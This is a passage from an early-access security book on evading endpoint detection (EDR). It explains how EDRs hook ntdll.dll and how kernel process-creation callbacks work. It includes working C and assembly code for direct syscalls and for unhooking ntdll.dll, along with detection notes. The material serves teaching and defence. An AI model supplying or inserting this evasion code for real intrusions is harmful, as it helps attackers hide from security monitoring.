tion. But rather than implementing syscall instructions in every function that needs to interact with the kernel, Windows provides them via functions in ntdll.dll. A function simply needs to pass the required parameters to this exported function; the function will, in turn, pass control into the kernel and then return the results of the operation. For example, Figure 2-1 dem- onstrates the execution flow that occurs when a user-mode application calls the Win32 API function kernel32!OpenProcess(). Kernel mode User mode Application calls OpenProcess API ntoskrnl! ObOpenObjectByPointer ntoskrnl! NtOpenProcess ntoskrnl! PsOpenProcess kernel32! OpenProcess ntdll! NtOpenProcess Figure 2-1: The flow of execution from user mode to kernel mode To detect malicious activity, vendors often hook these Windows APIs. For example, one way that EDRs detect remote process injection is to hook the functions responsible for opening a handle to another process, allocat- ing a region of memory, writing to the allocated memory, and creating the remote thread. In earlier versions of Windows, vendors (and malware authors) often placed their hooks on the System Service Dispatch Table (SSDT), a table in the kernel that holds the pointers to the kernel functions used upon invoca- tion of a syscall. Security products would overwrite these function pointers with pointers to functions in their own kernel module used to log informa- tion about the function call and then execute the target function. They would then pass the return values back to the source application. Evading EDR (Early Access) © 2023 by Matt Hand Function-Hooking Dlls   19 With the introduction of Windows XP in 2005, Microsoft made the decision to prevent the patching of SSDT, among a host of other critical structures, using a protection called Kernel Patch Protection (KPP), also known as PatchGuard, so this technique is not viable on modern 64-bit Windows versions. This means that traditional hooking must be done in user mode. Because the functions performing the syscalls in ntdll.dll are the last possible place to observe API calls in user mode, EDRs will often hook these functions in order to inspect their invocation and execution. Some commonly hooked functions are detailed in Table 2-1. Table 2-1: Commonly Hooked Functions in ntdll.dll Function names Related attacker techniques NtOpenProcess NtAllocateVirtualMemory NtWriteVirtualMemory NtCreateThreadEx Remote process injection NtSuspendThread NtResumeThread NtQueueApcThread Shellcode injection via asynchronous procedure call (APC) NtCreateSection NtMapViewOfSection NtUnmapViewOfSection Shellcode injection via mapped memory sections NtLoadDriver Driver loading using a configuration stored in the registry By intercepting calls to these APIs, an EDR can observe the parameters passed to the original function, as well as the value returned to the code that called the API. Agents can then examine this data to determine whether the activity was malicious. For example, to detect remote process injection, an agent could monitor whether the region of memory was allocated with read- write-execute permissions, whether data was written to the new allocation, and whether a thread was created using a pointer to the written data. Implementing the Hooks with Microsoft Detours While a large number of libraries make it easy to implement function hooks, most leverage the same technique under the hood. This is because, at its core, all function hooking involves patching unconditional jump (JMP) instructions to redirect the flow of execution from the function being hooked into the function specified by the developer of the EDR. Microsoft Detours is one of the most commonly used libraries for implementing function hooks. Behind the scenes, Detours replaces the first few instructions in the function to be hooked with an unconditional JMP instruction that will redirect execution to a developer-defined function, also referred to as a detour. This detour function performs actions specified by the developer, such as logging the parameters passed to the target func- tion. Then it passes execution to another function, often called a trampoline, which executes the target function and contains the instructions that were Evading EDR (Early Access) © 2023 by Matt Hand 20   Chapter 2 originally overwritten. When the target function completes its execution, control is returned to the detour. The detour may perform additional pro- cessing, such as logging the return value or output of the original function, before returning control to the original process. Figure 2-2 illustrates a normal process’s execution compared to one with a detour. The solid arrow indicates expected execution flow, and the dashed arrow indicates hooked execution. application.exe kernel32! CreateFile() ntdll! NtCreateFile() ntoskrnl edr! HookedNtCreateFile() Figure 2-2: Normal and hooked execution paths In this example, the EDR has opted to hook ntdll!NtCreateFile(), the syscall used to either create a new I/O device or open a handle to an exist- ing one. Under normal operation, this syscall would transition immediately to the kernel, where its kernel-mode counterpart would continue opera- tions. With the EDR’s hook in place, execution now makes a stop in the injected DLL. This edr!HookedNtCreateFile() function will make the syscall on behalf of ntdll!NtCreateFile(), allowing it to collect information about the parameters passed to the syscall, as well as the result of the operation. Examining a hooked function in a debugger, such as WinDbg, clearly shows the differences between a function that has been hooked and one that hasn’t. Listing 2-1 shows what an unhooked kernel32!Sleep() function looks like in WinDbg. 1:004> uf KERNEL32!SleepStub KERNEL32!SleepStub: 00007ffa`9d6fada0 48ff25695c0600 jmp qword ptr [ KERNEL32!imp_Sleep (00007ffa`9d760a10) KERNEL32!_imp_Sleep: 00007ffa`9d760a10 d08fcc9cfa7f ror byte ptr [rdi+7FFA9CCCh],1 00007ffa`9d760a16 0000 add byte ptr [rax],al 00007ffa`9d760a18 90 nop 00007ffa`9d760a19 f4 hlt 00007ffa`9d760a1a cf iretd Listing 2-1: The unhooked kernel32!SleepStub() function in WinDbg This disassembly of the function shows the execution flow that we expect. When the caller invokes kernel32!Sleep(), the jump stub kernel32!SleepStub() is executed, long-jumping (JMP) to kernel32!_imp_Sleep(), which provides the real Sleep() functionality the caller expects. The function looks substantially different after the injection of a DLL that leverages Detours to hook it, shown in Listing 2-2. Evading EDR (Early Access) © 2023 by Matt Hand Function-Hooking Dlls   21 1:005> uf KERNEL32!SleepStub KERNEL32!SleepStub: 00007ffa`9d6fada0 e9d353febf jmp 00007ffa`5d6e0178 00007ffa`9d6fada5 cc int 3 00007ffa`9d6fada6 cc int 3 00007ffa`9d6fada7 cc int 3 00007ffa`9d6fada8 cc int 3 00007ffa`9d6fada9 cc int 3 00007ffa`9d6fadaa cc int 3 00007ffa`9d6fadab cc int 3 1:005> u 00007ffa`5d6e0178 00007ffa`5d6e0178 ff25f2ffffff jmp qword ptr [00007ffa`5d6e0170] 00007ffa`5d6e017e cc int 3 00007ffa`5d6e017f cc int 3 00007ffa`5d6e0180 0000 add byte ptr [rax],al 00007ffa`5d6e0182 0000 add byte ptr [rax],al 00007ffa`5d6e0184 0000 add byte ptr [rax],al 00007ffa`5d6e0186 0000 add byte ptr [rax],al 00007ffa`5d6e0188 0000 add byte ptr [rax],al Listing 2-2: The hooked kernel32!Sleep() function in WinDbg Instead of a JMP to kernel32!_imp_Sleep(), the disassembly contains a series of JMP instructions, the second of which lands execution in trampoline64!TimedSleep(), shown in Listing 2-3. 0:005> uf poi(00007ffa`5d6e0170) trampoline64!TimedSleep 10 00007ffa`82881010 48895c2408 mov qword ptr [rsp+8],rbx 10 00007ffa`82881015 57 push rdi 10 00007ffa`82881016 4883ec20 sub rsp,20h 10 00007ffa`8288101a 8bf9 mov edi,ecx 10 00007ffa`8288101c 4c8d05b5840000 lea r8,[trampoline64!'string' (00007ffa`828894d8)] 10 00007ffa`82881023 33c9 xor ecx,ecx 10 00007ffa`82881025 488d15bc840000 lea rdx,[trampoline64!'string' (00007ffa`828894d8)] 10 00007ffa`8288102c 41b930000000 mov r9d,30h 10 00007ffa`82881032 ff15f8800000 call qword ptr [trampoline64!_imp_MessageBoxW] 10 00007ffa`82881038 ff15ca7f0000 call qword ptr [trampoline64!_imp_GetTickCount] 10 00007ffa`8288103e 8bcf mov ecx,edi 10 00007ffa`8288103e 8bd8 mov ebx,eax 10 00007ffa`82881040 ff15f0a60000 call qword ptr [trampoline64!TrueSleep] 10 00007ffa`82881042 ff15ba7f0000 call qword ptr [trampoline64!_imp_GetTickCount] 10 00007ffa`82881048 2bc3 sub eax,ebx 10 00007ffa`8288104e f00fc105e8a60000 lock xadd dword ptr [trampoline64!dwSlept],eax 10 00007ffa`82881050 488b5c2430 mov rbx,qword ptr [rsp+30h] 10 00007ffa`82881058 4883c420 add rsp,20h 10 00007ffa`8288105d 5f pop rdi 10 00007ffa`82881061 c3 ret Listing 2-3: The kernel32!Sleep() intercept function To collect metrics about the hooked function’s execution, this trampoline function evaluates the amount of time it sleeps, in CPU Evading EDR (Early Access) © 2023 by Matt Hand 22   Chapter 2 ticks, by calling the legitimate kernel32!Sleep() function via its internal trampoline64!TrueSleep() wrapper function. It displays the tick count in a pop-up message. While this is a contrived example, it demonstrates the core of what every EDR’s function-hooking DLL does: proxying the execution of the target function and collecting information about how it was invoked. In this case, our EDR simply measures how long the hooked program sleeps. In a real EDR, functions important to adversary behavior, such as ntdll!NtWriteVirtualMemory() for copying code into a remote process, would be proxied in the same way, but the hooking might pay more attention to the parameters being passed and the values returned. Injecting the DLL A DLL that hooks functions isn’t particularly useful until it is loaded into the target process. Some libraries offer the ability to spawn a process and inject the DLL through an API, but this isn’t practical for EDRs, as they need the ability to inject their DLL into processes spawned by users at any time. Fortunately, Windows provides a few methods to do this. Until Windows 8, many vendors opted to use the AppInit_Dlls infrastruc- ture to load their DLLs into every interactive process (those that import user32.dll). Unfortunately, malware authors routinely abused this technique for persistence and information collection, and it was notorious for causing system performance issues. Microsoft no longer recommends this method for DLL injection and, starting in Windows 8, prevents it entirely on systems with Secure Boot enabled. The most commonly used technique for injecting a function-hooking DLL into processes is to leverage a driver, which can use a kernel-level fea- ture called kernel asynchronous procedure call (KAPC) injection to insert the DLL into the process. When the driver is notified of the creation of a new process, it will allocate some of the process’s memory for an APC routine and the name of the DLL to inject. It will then initialize a new APC object, which is responsible for loading the DLL into the process, and copy it into the process’s address space. Finally, it will change a flag in the thread’s APC state to force execution of the APC. When the process resumes its execu- tion, the APC routine will run, loading the DLL. Chapter 5 explains this process in greater detail. Detecting Function Hooks Offensive security practitioners often want to identify whether the functions they plan to use are hooked. Once they identify hooked functions, they can make a list of them and then limit, or entirely avoid, their use. This allows the adversary to bypass inspection by the EDR’s function-hooking DLL, as its inspection function will never be invoked. The process of detecting hooked functions is incredibly simple, especially for the native API func- tions exported by ntdll.dll. Evading EDR (Early Access) © 2023 by Matt Hand Function-Hooking Dlls   23 Each function inside ntdll.dll consists of a syscall stub. The instructions that make up this stub are shown in Listing 2-4. mov r10, rcx mov eax, <syscall_number> syscall retn Listing 2-4: Syscall stub assembly instructions You can see this stub by disassembling a function exported by ntdll.dll in WinDbg, as shown in Listing 2-5. 0:013> u ntdll!NtAllocateVirtualMemory ntdll!NtAllocateVirtualMemory 00007fff`fe90c0b0 4c8bd1 mov r10,rcx 00007fff`fe90c0b5 b818000000 mov eax,18h 00007fff`fe90c0b8 f694259893fe7f01 test byte ptr [SharedUserData+0x308,1 00007fff`fe90c0c0 7503 jne ntdll!NtAllocateVirtualMemory+0x15 00007fff`fe90c0c2 0f05 syscall 00007fff`fe90c0c4 c3 ret 00007fff`fe90c0c5 cd2e int 2Eh 00007fff`fe90c0c7 c3 ret Listing 2-5: The unmodified syscall stub for ntdll!NtAllocateVirtualMemory() In the disassembly of ntdll!NtAllocateVirtualMemory(), we see the basic building blocks of the syscall stub. The stub preserves the volatile RCX register in the R10 register and then moves the syscall number that cor- relates to NtAllocateVirtualMemory(), or 0x18 in this version of Windows, into EAX. Next, the TEST and conditional jump (JNE) instructions follow- ing MOV are a check found in all syscall stubs. Restricted User Mode uses it when Hypervisor Code Integrity is enabled for kernel-mode code but not user-mode code. You can safely ignore it in this context. Finally, the syscall instruction is executed, transitioning control to the kernel to handle the memory allocation. When the function completes and control is given back to ntdll!NtAllocateVirtualMemory(), it simply returns. Because the syscall stub is the same for all native APIs, any modifica- tion of it indicates the presence of a function hook. For example, Listing 2-6 shows the tampered syscall stub for the ntdll!NtAllocateVirtualMemory() function. 0:013> u ntdll!NtAllocateVirtualMemory ntdll!NtAllocateVirtualMemory 00007fff`fe90c0b0 e95340baff jmp 00007fff`fe4b0108 00007fff`fe90c0b5 90 nop 00007fff`fe90c0b6 90 nop 00007fff`fe90c0b7 90 nop 00007fff`fe90c0b8 f694259893fe7f01 test byte ptr [SharedUserData+0x308],1 00007fff`fe90c0c0 7503 jne ntdll!NtAllocateVirtualMemory+0x15 00007fff`fe90c0c2 0f05 syscall Evading EDR (Early Access) © 2023 by Matt Hand 24   Chapter 2 00007fff`fe90c0c4 c3 ret 00007fff`fe90c0c5 cd2e int 2Eh 00007fff`fe90c0c7 c3 ret Listing 2-6: The hooked ntdll!NtAllocateVirtualMemory() function Notice here that, rather than the syscall stub existing at the entry point of ntdll!NtAllocateVirtualMemory(), an unconditional JMP instruction is pres- ent. EDRs commonly use this type of modification to redirect execution flow to their hooking DLL. Thus, to detect hooks placed by an EDR, we can simply examine func- tions in the copy of ntdll.dll currently loaded into our process, comparing their entry-point instructions with the expected opcodes of an unmodified syscall stub. If we find a hook on a function we want to use, we can attempt to evade it using the techniques described in the next section. Evading Function Hooks Of all the sensor components used in endpoint security software, func- tion hooks are one of the most well researched when it comes to evasion. Attackers can use a myriad of methods to evade function interception, all of which generally boil down to one of the following techniques: • Making direct syscalls to execute the instructions of an unmodified sys- call stub • Remapping ntdll.dll to get unhooked function pointers or overwriting the hooked ntdll.dll currently mapped in the process • Blocking non-Microsoft DLLs from loading in the process to prevent the EDR’s function-hooking DLL from placing its detours This is by no means an exhaustive list. One example of a technique that doesn’t fit into any of these categories is vectored exception handling, as detailed in Peter Winter-Smith’s blog post “FireWalker: A New Approach to Generically Bypass User-Space EDR Hooking.” Winter-Smith’s technique uses a vectored exception handler (VEH), an extension to structured exception handling that allows the developer to register their own function for which to watch and handle all exceptions in a given application. It sets the pro- cessor’s trap flag to put the program into single-step mode. On each new instruction, the evasion code generates a single-step exception on which the VEH has first right of refusal. The VEH will step over the hook placed by the EDR by updating the instruction pointer to the chunk containing the original, unmodified code. While interesting, this technique currently only works for 32-bit applica- tions and can adversely affect a program’s performance, due to the single stepping. For these reasons, this approach to evasion remains beyond the scope of this chapter. We’ll instead focus on more broadly applicable techniques. Evading EDR (Early Access) © 2023 by Matt Hand Function-Hooking Dlls   25 Making Direct Syscalls By far, the most commonly abused technique for evading hooks placed on ntdll.dll functions is making direct syscalls. If we execute the instructions of a syscall stub ourselves, we can mimic an unmodified function. To do so, our code must include the desired function’s signature, a stub containing the correct syscall number, and an invocation of the target function. This invocation uses the signature and stub to pass in the required parameters and execute the target function in a way that the function hooks won’t detect. Listing 2-7 contains the first file we need to create to execute this technique. NtAllocateVirtualMemory PROC mov r10, rcx mov eax, 0018h syscall ret NtAllocateVirtualMemory ENDP Listing 2-7: Assembly instructions for NtAllocateVirtualMemory( ) The first file in our project contains what amounts to a reimplementa- tion of ntdll!NtAllocateVirtualMemory(). The instructions contained inside the sole function will fill the EAX register with the syscall number. Then, a syscall instruction is executed. This assembly code would reside in its own .asm file, and Visual Studio can be configured to compile it using the Microsoft Macro Assembler (MASM), with the rest of the project. Even though we have our syscall stub built out, we still need a way to call it from our code. Listing 2-8 shows how we would do that. EXTERN_C NTSTATUS NtAllocateVirtualMemory( HANDLE ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect); Listing 2-8: The definition of NtAllocateVirtualMemory() to be included in the project header file This function definition contains all the required parameters and their types, along with the return type. It should live in our header file, syscall.h, and will be included in our C source file, shown in Listing 2-9. #include "syscall.h" void wmain()dg { LPVOID lpAllocationStart = NULL; 1 NtAllocateVirtualMemory(GetCurrentProcess(), &lpAllocationStart, Evading EDR (Early Access) © 2023 by Matt Hand 26   Chapter 2 0, (PULONG)0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); } Listing 2-9: Making a direct syscall in C The wmain() function in this file calls NtAllocateVirtualMemory() 1 to allocate a 0x1000-byte buffer in the current process with read-write permis- sions. This function is not defined in the header files that Microsoft makes available to developers, so we have to define it in our own header file. When this function is invoked, rather than calling into ntdll.dll, the assembly code we included in the project will be called, effectively simulating the behavior of an unhooked ntdll!NtAllocateVirtualMemory() without running the risk of hitting an EDR’s hook. One of the primary challenges of this technique is that Microsoft fre- quently changes syscall numbers, so any tooling that hardcodes these num- bers may only work on specific Windows builds. For example, the syscall number for ntdll!NtCreateThreadEx() on build 1909 of Windows 10 is 0xBD. On build 20H1, the following release, it is 0xC1. This means that a tool tar- geting build 1909 won’t work on later versions of Windows. To help address this limitation, many developers rely on external sources to track these changes. For example, Mateusz Jurczyk of Google’s Project Zero maintains a list of functions and their associated syscall num- bers for each release of Windows. In December 2019, Jackson Thuraisamy published the tool SysWhispers, which gave attackers the ability to dynami- cally generate the function signatures and assembly code for the syscalls in their offensive tooling. Listing 2-10 shows the assembly code generated by SysWhispers when targeting the ntdll!NtCreateThreadEx() function on builds 1903 through 20H2 of Windows 10. NtCreateThreadEx PROC mov rax, gs:[60h] ; Load PEB into RAX. NtCreateThreadEx_Check_X_X_XXXX: ; Check major version. cmp dword ptr [rax+118h], 10 je NtCreateThreadEx_Check_10_0_XXXX jmp NtCreateThreadEx_SystemCall_Unknown 1 NtCreateThreadEx_Check_10_0_XXXX: ; cmp word ptr [rax+120h], 18362 je NtCreateThreadEx_SystemCall_10_0_18362 cmp word ptr [rax+120h], 18363 je NtCreateThreadEx_SystemCall_10_0_18363 cmp word ptr [rax+120h], 19041 je NtCreateThreadEx_SystemCall_10_0_19041 cmp word ptr [rax+120h], 19042 je NtCreateThreadEx_SystemCall_10_0_19042 jmp NtCreateThreadEx_SystemCall_Unknown NtCreateThreadEx_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903) 2 mov eax, 00bdh jmp NtCreateThreadEx_Epilogue Evading EDR (Early Access) © 2023 by Matt Hand Function-Hooking Dlls   27 NtCreateThreadEx_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909) mov eax, 00bdh jmp NtCreateThreadEx_Epilogue NtCreateThreadEx_SystemCall_10_0_19041: ; Windows 10.0.19041 (2004) mov eax, 00c1h jmp NtCreateThreadEx_Epilogue NtCreateThreadEx_SystemCall_10_0_19042: ; Windows 10.0.19042 (20H2) mov eax, 00c1h jmp NtCreateThreadEx_Epilogue NtCreateThreadEx_SystemCall_Unknown: ; Unknown/unsupported version. ret NtCreateThreadEx_Epilogue: mov r10, rcx 3 syscall ret NtCreateThreadEx ENDP Listing 2-10: The SysWhispers output for ntdll!NtCreateThreadEx() This assembly code extracts the build number from the process envi- ronment block 1 and then uses that value to move the appropriate syscall number into the EAX register 2 before making the syscall 3. While this approach works, it requires substantial effort, as the attacker must update the syscall numbers in their dataset each time Microsoft releases a new Windows build. Dynamically Resolving Syscall Numbers In December 2020, a researcher known by the Twitter handle @modexp- blog published a blog post titled “Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams.” The post described another function-hook evasion technique: dynamically resolving syscall numbers at runtime, which kept attackers from having to hardcode the values for each Windows build. This technique uses the following workflow to create a dic- tionary of function names and syscall numbers: 1. Get a handle to the current process’s mapped ntdll.dll. 2. Enumerate all exported functions that begin with Zw to identify system calls. Note that functions prefixed with Nt (which is more commonly seen) work identically when called from user mode. The decision to use the Zw version appears to be arbitrary in this case. 3. Store the exported function names and their associated relative virtual addresses. 4. Sort the dictionary by relative virtual addresses. 5. Define the syscall number of the function as its index in the dictionary after sorting. Using this technique, we can collect syscall numbers at runtime, insert them into the stub at the appropriate location, and then call the target functions as we otherwise would in the statically coded method. Evading EDR (Early Access) © 2023 by Matt Hand 28   Chapter 2 Remapping ntdll.dll Another common technique used to evade user-mode function hooks is to load a new copy of ntdll.dll into the process, overwrite the existing hooked version with the contents of the newly loaded file, and then call the desired functions. This strategy works because the newly loaded ntdll.dll does not contain the hooks implemented in the copy loaded earlier, so when it over- writes the tainted version, it effectively cleans out all the hooks placed by the EDR. Listing 2-11 shows a rudimentary example of this. Some lines have been omitted for brevity. int wmain() { HMODULE hOldNtdll = NULL; MODULEINFO info = {}; LPVOID lpBaseAddress = NULL; HANDLE hNewNtdll = NULL; HANDLE hFileMapping = NULL; LPVOID lpFileData = NULL; PIMAGE_DOS_HEADER pDosHeader = NULL; PIMAGE_NT_HEADERS64 pNtHeader = NULL; hOldNtdll = GetModuleHandleW(L"ntdll"); if (!GetModuleInformation( GetCurrentProcess(), hOldNtdll, &info, sizeof(MODULEINFO))) 1 lpBaseAddress = info.lpBaseOfDll; hNewNtdll = CreateFileW( L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); hFileMapping = CreateFileMappingW( hNewNtdll, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); 2 lpFileData = MapViewOfFile( hFileMapping, FILE_MAP_READ, 0, 0, 0); pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; pNtHeader = (PIMAGE_NT_HEADERS64)((ULONG_PTR)lpBaseAddress + pDosHeader->e_lfanew); Evading EDR (Early Access) © 2023 by Matt Hand Function-Hooking Dlls   29 for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(pNtHeader) + ((ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 3 if (!strcmp((PCHAR)pSection->Name, ".text")) { DWORD dwOldProtection = 0; 4 VirtualProtect( (LPVOID)((ULONG_PTR)lpBaseAddress + pSection->VirtualAddress), pSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &dwOldProtection ); 5 memcpy( (LPVOID)((ULONG_PTR)lpBaseAddress + pSection->VirtualAddress), (LPVOID)((ULONG_PTR)lpFileData + pSection->VirtualAddress), pSection->Misc.VirtualSize ); 6 VirtualProtect( (LPVOID)((ULONG_PTR)lpBaseAddress + pSection->VirtualAddress), pSection->Misc.VirtualSize, dwOldProtection, &dwOldProtection ); break; } } --snip-- } Listing 2-11: A technique for overwriting a hooked ntdll.dll Our code first gets the base address of the currently loaded (hooked) ntdll.dll 1. Then we read in the contents of ntdll.dll from disk and map it into memory 2. At this point, we can parse the PE headers of the hooked ntdll.dll, looking for the address of the .text section 3, which holds the exe- cutable code in the image. Once we find it, we change the permissions of that region of memory so that we can write to it 4, copy in the contents of the .text section from the “clean” file 5, and revert the change to memory protection 6. After this sequence of events completes, the hooks originally placed by the EDR should have been removed and the developer can call whichever function from ntdll.dll they need without the fear of execution being redirected to the EDR’s injected DLL. While reading ntdll.dll from disk seems easy, it does come with a potential trade-off. This is because loading ntdll.dll into a single process multiple times is atypical behavior. Defenders can capture this activity with Sysmon, a free system-monitoring utility that provides many of the same Evading EDR (Early Access) © 2023 by Matt Hand 30   Chapter 2 telemetry-collection facilities as an EDR. Almost every non-malicious pro- cess has a one-to-one mapping of process GUIDs to loads of ntdll.dll. When I queried these properties in a large enterprise environment, only approxi- mately 0.04 percent of 37 million processes loaded ntdll.dll more than once over the course of a month. To avoid detection based on this anomaly, you might opt to spawn a new process in a suspended state, get a handle to the unmodified ntdll.dll mapped in the new process, and copy it to the current process. From there, you could either get the function pointers as shown before, or replace the existing hooked ntdll.dll to effectively overwrite the hooks placed by the EDR. Listing 2-12 demonstrates this technique. int wmain() { LPVOID pNtdll = nullptr; MODULEINFO mi; STARTUPINFOW si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(STARTUPINFOW)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); GetModuleInformation(GetCurrentProcess(), GetModuleHandleW(L"ntdll.dll"), 1 &mi, sizeof(MODULEINFO)); PIMAGE_DOS_HEADER hooked_dos = (PIMAGE_DOS_HEADER)mi.lpBaseOfDll; PIMAGE_NT_HEADERS hooked_nt = 2 (PIMAGE_NT_HEADERS)((ULONG_PTR)mi.lpBaseOfDll + hooked_dos->e_lfanew); CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, 3 NULL, NULL, &si, &pi); pNtdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage); ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll, pNtdll, mi.SizeOfImage, nullptr); PIMAGE_DOS_HEADER fresh_dos = (PIMAGE_DOS_HEADER)pNtdll; PIMAGE_NT_HEADERS fresh_nt = 4 (PIMAGE_NT_HEADERS)((ULONG_PTR)pNtdll + fresh_dos->e_lfanew); for (WORD i = 0; i < hooked_nt->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER hooked_section = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(hooked_nt) + ((ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (!strcmp((PCHAR)hooked_section->Name, ".text")){ DWORD oldProtect = 0; LPVOID hooked_text_section = (LPVOID)((ULONG_PTR)mi.lpBaseOfDll + (DWORD_PTR)hooked_section->VirtualAddress); LPVOID fresh_text_section = (LPVOID)((ULONG_PTR)pNtdll + (DWORD_PTR)hooked_section->VirtualAddress); Evading EDR (Early Access) © 2023 by Matt Hand Function-Hooking Dlls   31 VirtualProtect(hooked_text_section, hooked_section->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); RtlCopyMemory( hooked_text_section, fresh_text_section, hooked_section->Misc.VirtualSize); VirtualProtect(hooked_text_section, hooked_section->Misc.VirtualSize, oldProtect, &oldProtect); } } TerminateProcess(pi.hProcess, 0); --snip-- return 0; } Listing 2-12: Remapping ntdll.dll in a suspended process This minimal example first opens a handle to the copy of ntdll.dll 1 currently mapped into our process, gets its base address, and parses its PE headers 2. Next, it creates a suspended process 3 and parses the PE head- ers of this process’s copy of ntdll.dll 4 , which hasn’t had the chance to be hooked by the EDR yet. The rest of the flow of this function is exactly the same as in the previous example, and when it completes, the hooked ntdll. dll should have been reverted to a clean state. As with all things, there is a trade-off here as well, as our new sus- pended process creates another opportunity for detection, such as by a hooked ntdll!NtCreateProcessEx(), the driver, or the ETW provider. In my experience, it is very rare to see a program create a temporary suspended process for legitimate reasons. Conclusion Function hooking is one of the original mechanisms by which an endpoint security product can monitor the execution flow of other processes. While it provides very useful information to an EDR, it is very susceptible to bypass due to inherent weaknesses in its common implementations. For that rea- son, most mature EDRs today consider it an auxiliary telemetry source and instead rely on more resilient sensors. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand Most modern EDR solutions rely heavily on functionality supplied through their kernel- mode driver, which is the sensor component running in a privileged layer of the operating system, beneath the user mode. These drivers give developers the ability to leverage features that are only available inside the kernel, supplying EDRs with many of their preventive features and telemetry. While vendors can implement a vast number of security-relevant fea- tures in their drivers, the most common one is notification callback routines. These are internal routines that take actions when a designated system event occurs. In the next three chapters, we’ll discuss how modern EDRs leverage notification callback routines to gain valuable insight into system events from the kernel. We’ll also cover the evasion techniques relevant to each type of notification and its related callback routines. This chapter focuses 3 PROCE S S - A ND T HR E A D - CR E AT ION NOT IF IC AT ION S Evading EDR (Early Access) © 2023 by Matt Hand 34   Chapter 3 on two types of callback routines used very often in EDRs: those related to process creation and thread creation. How Notification Callback Routines Work One of the most powerful features of drivers in the context of EDRs is the ability to be notified when a system event occurs. These system events might include creating or terminating new processes and threads, requesting to duplicate processes and threads, loading images, taking actions in the reg- istry, or requesting a shutdown of the system. For example, a developer may want to know whether a process attempts to open a new handle to lsass.exe, because this is a core component of most credential-dumping techniques. To do this, the driver registers callback routines, which essentially just say, “Let me know if this type of event occurs on the system so I can do something.” As a result of these notifications, the driver can take action. Sometimes it might simply collect telemetry from the event notification. Alternatively, it might opt to do something like provide only partial access to the sensitive process, such as by returning a handle with a limited-access mask (for example, PROCESS_QUERY_LIMITED_INFORMATION instead of PROCESS_ALL_ACCESS). Callback routines may be either pre-operation, occurring before the event completes, or post-operation, occurring after the operation. Pre- operation callbacks are more common in EDRs, as they give the driver the ability to interfere with the event or prevent it from completing, as well as other side benefits that we’ll discuss in this chapter. Post-operation call- backs are useful too, as they can provide information about the result of the system event, but they have some drawbacks. The largest of these is the fact that they’re often executed in an arbitrary thread context, making it difficult for an EDR to collect information about the process or thread that started the operation. Process Notifications Callback routines can notify drivers whenever a process is created or termi- nated on the system. These notifications happen as an integral part of the process creation or termination. You can see this in Listing 3-1, which shows the call stack for creation of a child process of cmd.exe, notepad.exe, that led to the notification of registered callback routines. To obtain this call stack, use WinDbg to set a breakpoint (bp) on nt!PspCallProcessNotifyRoutines(), the internal kernel function that notifies drivers with registered callbacks of process-creation events. When the breakpoint is hit, the k command returns the call stack for the process under which the break occurred. 2: kd> bp nt!PspCallProcessNotifyRoutines 2: kd> g Breakpoint 0 hit nt!PspCallProcessNotifyRoutines: Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   35 fffff803`4940283c 48895c2410 mov qword ptr [rsp+10h],rbx 1: kd> k # Child-SP RetAddr Call Site 00 ffffee8e`a7005cf8 fffff803`494ae9c2 nt!PspCallProcessNotifyRoutines 01 ffffee8e`a7005d00 fffff803`4941577d nt!PspInsertThread+0x68e 02 ffffee8e`a7005dc0 fffff803`49208cb5 nt!NtCreateUserProcess+0xddd 03 ffffee8e`a7006a90 00007ffc`74b4e664 nt!KiSystemServiceCopyEnd+0x25 04 000000d7`6215dcf8 00007ffc`72478e73 ntdll!NtCreateUserProcess+0x14 05 000000d7`6215dd00 00007ffc`724771a6 KERNELBASE!CreateProcessInternalW+0xfe3 06 000000d7`6215f2d0 00007ffc`747acbb4 KERNELBASE!CreateProcessW+0x66 07 000000d7`6215f340 00007ff6`f4184486 KERNEL32!CreateProcessWStub+0x54 08 000000d7`6215f3a0 00007ff6`f4185b7f cmd!ExecPgm+0x262 09 000000d7`6215f5e0 00007ff6`f417c9bd cmd!ECWork+0xa7 0a 000000d7`6215f840 00007ff6`f417bea1 cmd!FindFixAndRun+0x39d 0b 000000d7`6215fce0 00007ff6`f418ebf0 cmd!Dispatch+0xa1 0c 000000d7`6215fd70 00007ff6`f4188ecd cmd!main+0xb418 0d 000000d7`6215fe10 00007ffc`747a7034 cmd!__mainCRTStartup+0x14d 0e 000000d7`6215fe50 00007ffc`74b02651 KERNEL32!BaseThreadInitThunk+0x14 0f 000000d7`6215fe80 00000000`00000000 ntdll!RtlUserThreadStart+0x21 Listing 3-1: A process-creation call stack Whenever a user wants to run an executable, cmd.exe calls the cmd!ExecPgm() function. In this call stack, we can see this function calling the stub used to create a new process (at output line 07). This stub ends up making the syscall for ntdll!NtCreateUserProcess(), where control is transi- tioned to the kernel (at 04). Now notice that, inside the kernel, another function is executed (at 00). This function is responsible for letting every registered callback know that a process is being created. Registering a Process Callback Routine To register process callback routines, EDRs use one of the following two functions: nt!PsSetCreateProcessNotifyRoutineEx() or nt!PsSetCreateProcess 